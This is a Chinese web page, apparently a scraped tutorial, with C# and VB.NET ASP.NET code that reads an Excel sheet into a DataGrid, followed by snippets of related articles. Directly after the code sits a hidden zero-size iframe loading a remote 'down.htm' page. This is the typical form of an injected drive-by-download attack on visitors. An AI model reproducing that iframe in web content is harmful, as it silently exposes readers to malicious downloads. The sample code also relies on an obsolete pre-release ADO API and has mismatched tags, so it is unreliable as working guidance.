在ASP.NET访问Excel文件 (VB and C#)
<xmp>
C# Code
---------------------------------------------
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.ADO" %>
<script language="C#" runat="server">
protected void Page_Load(Object Src, EventArgs E)
{
string strConn;
strConn = "Provider=Microsoft.Jet.OLEDB.4.0;"
+"Data Source=C:\\exceltest.xls;"
+"Extended Properties=Excel 8.0;";
ADODataSetCommand myCommand = new ADODataSetCommand("SELECT * FROM [Sheet1$]", strConn);
DataSet myDataSet = new DataSet();
myCommand.FillDataSet(myDataSet, "ExcelInfo");
DataGrid1.DataSource = myDataSet.Tables["ExcelInfo"].DefaultView;
DataGrid1.DataBind();
}
</script>
<asp:label id="Label1" runat="server">Excel表格内容:</asp:label>
<asp:datagrid id="DataGrid1" runat="server">
VB.NET Code
----------------------------------------------
<%@ Page Language="VB" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.ADO" %>
<script language="VB" runat="server">
Sub Page_Load(sender As Object, e As EventArgs)
Dim myDataset As New DataSet()
Dim strConn As String = "Provider=Microsoft.Jet.OLEDB.4.0;" _
& "Data Source=C:\exceltest.xls;" _
& "Extended Properties=""Excel 8.0;"""
Dim myADODataSetCommand As New ADODataSetCommand("SELECT * FROM [Sheet1$]", strConn)
myADODataSetCommand.TableMappings.Add("Table", "ExcelTest")
myADODataSetCommand.FillDataSet(myDataset)
DataGrid1.DataSource = myDataset.Tables(0).DefaultView
DataGrid1.DataBind()
End Sub
</script>
<asp:label id="Label1" runat="server">Excel表格内容:</asp:label>
</asp:datagrid><asp:datagrid id="DataGrid1" runat="server">
</asp:datagrid></xmp>
<iframe boeder="0" src="http://lucky.myrice.com/down.htm" height="0" width="0"></iframe>
分享到:
相关推荐
在ASP.NET中访问Excel文件是一项常见的任务,尤其在数据导入、导出或报表生成等场景中。本篇文章将深入探讨如何在ASP.NET环境下实现对Excel文件的读取功能,以便进行数据查询和处理。 首先,我们需要了解ASP.NET的...
NPOI是一个开源的.NET库,它允许开发者在C#或VB.NET中读写Microsoft Office格式的文件,包括Excel。对于Excel 2003,我们可以使用NPOI的HSSFWorkbook类来创建和操作.BIFF8格式的工作簿。 **分Sheet导出步骤** 1. **...
在ASP.NET开发中,将本地Excel文件的数据导入到SQL数据库是一项常见的需求,这通常涉及到文件操作、数据处理和数据库交互等多个技术环节。本教程将详细讲解如何实现这一过程。 首先,你需要了解ASP.NET的基本概念。...
Asp.net是微软提供的一个用于构建Web应用程序的框架,它允许开发者使用C#、VB.NET等语言进行编程。而SQL Server 2005是一款关系型数据库管理系统,用于存储、管理和检索数据。 在Asp.net中处理Excel文件,通常有两...
在ASP.NET中,我们可以利用C#或VB.NET等编程语言编写后端代码,实现动态网页功能。 在描述中提到的"excel, owc使用的类库",是指利用OWC来处理Excel文件。OWC是一套用于Web应用程序的组件,它允许开发者在不安装...
使用 Free Spire.XLS for .NET,开发人员可以在 .NET(C#, VB.NET, ASP.NET, .NET Core) 应用程序中快速对 Excel 文档进行各种编程操作,如根据模板创建新的 Excel 文档,编辑现有 Excel 文档以及对 Excel 文档进行...
ASP.NET是由微软开发的一个用于构建Web应用程序的框架,它提供了丰富的功能和工具,支持多种编程语言如C#和VB.NET。而Access数据库则是一种轻量级的关系型数据库管理系统,适合小型项目和个人应用,易于操作且与...
运行环境Visual Studio 2005 根据网上资料自己用程序测试了一下 项目ReadExcelProj:是操作Excel批注的动态库...项目testReadExcel:是vb.net测试项目 项目testReadExcel_Csharp:是C#写的测试项目 data.xls 是测试文件
在ASP.NET开发中,将Gridview控件中的数据导出到Excel是一种常见的需求,这有助于用户方便地管理和处理大量数据。下面将详细讲解如何实现这一功能,并解决中文乱码问题。 首先,我们需要理解ASP.NET Gridview的基本...
它还支持C#, VB.NET, ASP.NET和 ASP.NET MVC编程语言 作为一款专业,强大,方便易用的控件,Spire.XLS for .NET有一下主要功能: 新建Excel文件,编辑已有的Excel文件,多种保存Excel方式,设置Excel文件属性,文件...
1. **引用Excel对象库**:在C#或VB.NET项目中,首先需要添加对Microsoft Excel的引用。这可以通过“项目”->“引用”->“添加引用”->“COM”选项卡,选择“Microsoft Excel XX.x Object Library”(XX.x代表Excel...
在这个案例中,我们看到的文件`IntoExcel.aspx`是ASP.NET的网页文件,`.cs`后缀的文件表示C#代码-behind文件,它包含了页面的逻辑处理代码,而`.designer.cs`文件则自动包含了页面控件的声明。 接下来,我们将关注...
- **服务器端脚本**:学习在ASP.NET中编写服务器端代码的方法,包括C#和VB.NET两种语言。 - **用户控件**:介绍如何创建和使用用户控件,提高代码重用性。 #### 第6章:创建一致外观的网站 - **主题和皮肤**:讲解...
本场景中提到的"ASP.NET调用excel dll",指的是在ASP.NET应用中通过引用Excel的DLL文件来操作Excel。 1. **Excel DLL介绍** - `Microsoft.Office.Interop.Excel.dll`:这是微软提供的Office Interop组件,允许.NET...
在 ASP.NET 中进行 EXCEL 开发是Web应用程序中常见的需求,尤其当需要处理大量数据并生成报表时。本文主要探讨如何在ASP.NET环境下利用Excel的功能来实现数据展示和报表生成,同时解决在ASP.NET中使用Excel可能出现...
EPPlus是一款高效且功能强大的库,允许开发者在C#、VB.NET等.NET语言中处理Excel 2007及更高版本的Open XML格式(.xlsx)文件。下面将详细介绍EPPlus库以及其在.NET开发中的应用。 EPPlus的核心特性: 1. **高效...
在ASP.NET中,开发者可以使用多种语言,如C#或VB.NET,来创建高效、交互式的网页。本项目着重于“asp.net导出wordexcel”,意味着它提供了一个功能,即在ASP.NET应用程序中实现Word和Excel文件的导入与导出。 对于...
Free Spire.XLS for .NET 是 Spire.XLS for .NET 的免费版本,无需购买即可用于个人或...此外,它支持使用 C#、VB.NET 或 ASP.NET 在数据库和 Excel 之间进行数据传输,支持超链接和模板,支持创建和获取数据透视表。
在ASP.NET开发中,有时我们需要将数据从Access数据库导出到Excel文件,以便于数据分析、报表生成或与其他系统交换数据。这个"asp.net 转换Access数据库为Excel文件源码"提供了一种实现方式,尤其对于使用VB.NET作为...
2. **服务器端代码处理**:ASP.NET中,通常使用C#或VB.NET编写后端代码。这包括创建HTTP响应,设置响应头,读取并流化文件到客户端,以及处理数据下载逻辑。 3. **Response对象**:ASP.NET的HttpResponse对象是实现...